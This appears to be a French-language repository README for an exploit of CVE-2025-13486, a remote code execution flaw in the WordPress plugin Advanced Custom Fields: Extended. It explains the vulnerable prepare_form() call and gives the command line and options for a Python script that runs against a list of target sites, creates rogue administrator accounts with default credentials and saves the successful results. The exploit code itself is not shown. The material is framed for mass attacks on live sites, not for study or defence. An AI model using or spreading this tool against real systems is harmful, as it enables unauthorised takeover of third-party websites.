matakucing-ofc/cve-2025-13486Le plugin Advanced Custom Fields: Extended pour WordPress est vulnérable à l'exécution de code à distance dans les versions 0.9.0.5 à 0.9.1.1 via la fonction prepare_form().
Le plugin Advanced Custom Fields: Extended pour WordPress est vulnérable à l'exécution de code à distance dans les versions 0.9.0.5 à 0.9.1.1 via la fonction prepare_form(). Cela est dû au fait que la fonction accepte une entrée utilisateur et la transmet à call_user_func_array(). Cela permet à des attaquants non authentifiés d'exécuter du code arbitraire sur le serveur, ce qui peut être utilisé pour injecter des backdoors ou créer de nouveaux comptes utilisateur administrateur.
Exécutez le script depuis la ligne de commande :
python CVE-2025-13486.py -l list.txt --email [email protected] --user new_user --password new_password
options:
-u, --url URL Single target WordPress site URL
-l yourlist.txt
File containing list of domains/URLs
--email, --email EMAIL
Email to set
--user USERNAME
Username to create (default: nemesis)
--password PASSWORD
Password to set (default: Warga@Sipil1337)
-o output.txt
Output file to save successful results (default: success_results.txt)